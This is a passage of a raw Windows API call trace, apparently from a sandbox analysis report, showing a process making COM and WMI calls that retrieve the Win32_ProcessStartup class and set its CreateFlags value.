WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5100d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.098] WbemLocator:IUnknown:Release (This=0x1b5100d8) returned 0x3 [0118.098] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0118.098] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0118.099] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b5101c0) returned 0x0 [0118.099] WbemLocator:IRpcOptions:Query (in: This=0x1b5101c0, pPrx=0x1b5101f8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0118.099] WbemLocator:IUnknown:Release (This=0x1b5101c0) returned 0x3 [0118.099] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0118.099] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0118.099] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0118.099] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63c980) returned 0x0 [0118.099] WbemLocator:IUnknown:AddRef (This=0x63c980) returned 0x4 [0118.099] WbemLocator:IUnknown:Release (This=0x63c980) returned 0x3 [0118.099] WbemLocator:IUnknown:Release (This=0x63c980) returned 0x2 [0118.099] SysStringLen (param_1=0x0) returned 0x0 [0118.099] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0118.099] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0118.099] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b5101f8) returned 0x0 [0118.099] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x3 [0118.099] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0118.099] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0118.099] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0118.100] IWbemServices:GetObject (in: This=0x63c980, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d9ed0, ppCallResult=0x0) returned 0x0 [0118.103] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0118.104] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0118.104] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0118.104] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0118.104] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0118.104] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0118.104] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.105] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d1be0) returned 0x0 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1be0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0118.105] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1be0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af3a0) returned 0x0 [0118.105] WbemDefPath:IUnknown:Release (This=0x1b4d1be0) returned 0x0 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af3a0) returned 0x0 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0118.105] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0118.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d19a0) returned 0x0 [0118.106] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d19a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.106] WbemDefPath:IUnknown:Release (This=0x1b4d19a0) returned 0x3 [0118.106] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0118.106] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0118.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0118.106] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0118.106] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0118.106] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0118.106] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0118.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af3a0) returned 0x0 [0118.106] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0118.106] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0118.106] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0118.106] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f6820*=0, plFlavor=0x27f6824*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f6820*=19, plFlavor=0x27f6824*=0) returned 0x0 [0118.107] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f6820*=19, plFlavor=0x27f6824*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f6820*=19, plFlavor=0x27f6824*=0) returned 0x0 [0118.107] IWbemClassObject:Put (This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0118.107] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0118.107] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0118.107] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0118.107] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.107] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0118.107] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0118.107] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0118.107] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.108] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d1d40) returned 0x0 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0118.108] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b07e0) returned 0x0 [0118.108] WbemDefPath:IUnknown:Release (This=0x1b4d1d40) returned 0x0 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b07e0) returned 0x0 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0118.108] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0118.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0118.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d1d60) returned 0x0 [0118.109] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1d60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.109] WbemDefPath:IUnknown:Release (This=0x1b4d1d60) returned 0x3 [0118.109] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0118.109] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0118.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0118.109] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0118.109] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0118.109] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0118.109] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0118.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b07e0) returned 0x0 [0118.109] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0118.109] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0118.109] WbemDefPath:IWbemPath:SetText (This=0x1b4b07e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0118.109] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0118.109] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0118.109] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.109] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0118.109] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0118.109] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0118.110] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.110] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2180) returned 0x0 [0118.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2180, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0118.110] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2180, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d1f20) returned 0x0 [0118.110] WbemLocator:IUnknown:Release (This=0x1b4d2180) returned 0x0 [0118.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d1f20) returned 0x0 [0118.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0118.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0118.111] WbemLocator:IUnknown:AddRef (This=0x1b4d1f20) returned 0x3 [0118.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0118.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0118.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0118.111] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0118.111] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0118.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0118.111] WbemLocator:IUnknown:Release (This=0x1b4d1f20) returned 0x2 [0118.111] WbemLocator:IUnknown:Release (This=0x1b4d1f20) returned 0x1 [0118.111] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0118.111] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0118.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1f20, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d1f20) returned 0x0 [0118.111] WbemLocator:IUnknown:AddRef (This=0x1b4d1f20) returned 0x3 [0118.111] WbemLocator:IUnknown:Release (This=0x1b4d1f20) returned 0x2 [0118.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0118.111] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0118.111] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: 